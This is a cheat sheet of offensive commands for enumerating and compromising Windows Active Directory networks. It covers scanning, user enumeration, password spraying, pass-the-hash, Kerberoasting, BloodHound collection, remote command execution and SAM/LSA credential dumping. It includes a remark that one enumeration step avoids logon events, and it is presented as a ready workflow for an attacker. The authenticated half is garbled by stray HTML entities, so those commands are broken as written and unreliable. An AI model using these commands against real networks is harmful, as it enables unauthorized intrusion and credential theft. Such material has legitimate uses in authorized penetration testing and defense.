

# Windows Enumeration - Cheat Sheet

Enumerate a Windows / Active Directory environment from an attacker machine. Organized by goal — pick the tool that fits your situation. Replace placeholders (<...>) with your own values.

## PART 1 — UNAUTHENTICATED ENUMERATION

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### Host & Service Discovery

Ping sweep — find live hosts:

```
nmap -sn <target-range>
```

Quick top-100 port scan:

```
nmap -Pn --top-ports=100 -oA top100 <range>
```

Full service + version scan:

```
nmap -Pn -sCV -oA <output> -iL hosts_ips.txt -v
```

*-Pn skip ping -oA save all three formats -iL read targets from file*

OS fingerprinting:

```
nmap -Pn -O -sV -iL hosts_ips.txt
```

### DC Discovery

```
nslookup -type=SRV _ldap._tcp.dc._msdcs.<domain>
```

```
dig axfr <domain> @<dns-server-ip>
```

### SMB Fingerprinting

```
nxc smb <target-range>
```

*Also accepts: crackmapexec smb / cme smb (older aliases). Look for: domain name, OS version, Signing:False (relay target), (Guest OK).*

### Null Session / General Enumeration

```
enum4linux-ng -A <target>
```

```
rpcclient -U "" -N <target>
```

*rpcclient useful commands: srvinfo, enumdomusers, enumdomgroups, querydominfo, querydispinfo, lsquery*

### User Enumeration (unauthenticated)

# Kerbrute (no logon events generated):

```
kerbrute userenum --dc <dc-ip> -d <domain> <users.txt>
```

# nmap Kerberos script:

```
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain> ',userdb=<users.txt>" <target>
```

### Share Enumeration (anonymous)

```
nxc smb <target> -u '' -p '' --shares
```

```
nxc smb <target> -u 'guest' -p '' --shares
```

```
smbclient //<target>/<share> -N
```

## PART 2 — AUTHENTICATED ENUMERATION

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*Any nxc command using -p <password> can use -H <NT-hash> instead (pass-the-hash).*

### Credential Verification & Spraying

```
nxc smb <target> -u <user> -p <pass>
```

```
nxc smb <target-range> -u <user> -p <pass>
```

```
nxc smb <target-range> -u <user> -H <NT-hash> --local-auth
```

```
kerbrute passwordspray --dc <dc-ip> -d <domain> <users.txt> <password>
```

*[+] = auth succeeded (Pwn3d!) = local admin*

### Password Policy (check BEFORE spraying)

```
nxc smb <dc-ip> -u <user> -p <pass> --pass-pol
```

## User / Group Enumeration

```
nxc smb &lt;dc-ip>; -u &lt;user>; -p &lt;pass>; --users
nxc smb &lt;dc-ip>; -u &lt;user>; -p &lt;pass>; --rid-brute
nxc smb &lt;dc-ip>; -u &lt;user>; -p &lt;pass>; --groups
GetADUsers.py &lt;domain>;&lt;user>;:&lt;pass>; -dc-ip &lt;dc-ip>; -all
ldapdomaindump -u '&lt;domain>;\&lt;user>;' -p &lt;pass>; &lt;dc-ip>; -o &lt;output-dir>;
```

## Share Enumeration & Spidering

```
nxc smb &lt;target>; -u &lt;user>; -p &lt;pass>; --shares
nxc smb &lt;target>; -u &lt;user>; -p &lt;pass>; --spider-shares
smbclient //&lt;target>;/&lt;share>; -U &lt;user>;%&lt;pass>;
```

## LDAP Enumeration

```
nxc ldap &lt;dc-ip>; -u &lt;user>; -p &lt;pass>; --users
nxc ldap &lt;dc-ip>; -u &lt;user>; -p &lt;pass>; --groups
nxc ldap &lt;dc-ip>; -u &lt;user>; -p &lt;pass>; --computers
nxc ldap &lt;dc-ip>; -u &lt;user>; -p &lt;pass>; -M get-desc-users
```

## Kerberos Attack Surface

```
# ASREProast (no creds needed if anonymous LDAP allowed):
GetNPUsers.py &lt;domain>;/ -dc-ip &lt;dc-ip>; -usersfile &lt;users.txt>; -no-pass
```

```
# Kerberoast (any domain user):
GetUserSPNs.py &lt;domain>;/&lt;user>;:&lt;pass>; -dc-ip &lt;dc-ip>; -request
```

*ASREProast → hashcat -m 18200 | Kerberoast → hashcat -m 13100*

## AD Attack Path Mapping (BloodHound)

```
# From Linux:
bloodhound-python -u &lt;user>; -p &lt;pass>; -d &lt;domain>; -dc &lt;dc-fqdn>; -c all --zip
```

```
# From Windows:
SharpHound.exe -c all --zipfilename bloodhound.zip
```

## Code Execution & Credential Dumping

```
nxc smb &lt;target>; -u &lt;user>; -p &lt;pass>; -x "&lt;command>;"
nxc smb &lt;target>; -u &lt;user>; -p &lt;pass>; --sam
nxc smb &lt;target>; -u &lt;user>; -p &lt;pass>; --lsa
```

## RECOMMENDED WORKFLOW

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### Unauthenticated:

```
nmap sweep → nxc smb &lt;range>; → nslookup SRV → enum4linux-ng -A &lt;dc>;
→ anonymous shares → kerbrute userenum → build valid user list
```

### Authenticated (first credential):

```
nxc verify → --pass-pol → bloodhound-python
→ GetNPUsers / GetUserSPNs → nxc ldap get-desc-users
→ spray / lateral movement → --sam / --lsa
```

*Always check password policy before spraying. Kerbrute enum generates no logon events. BloodHound is the most powerful authenticated step — run it first. SMB Signing:False + valid creds = relay attack — see the NTLM relay cheatsheet.*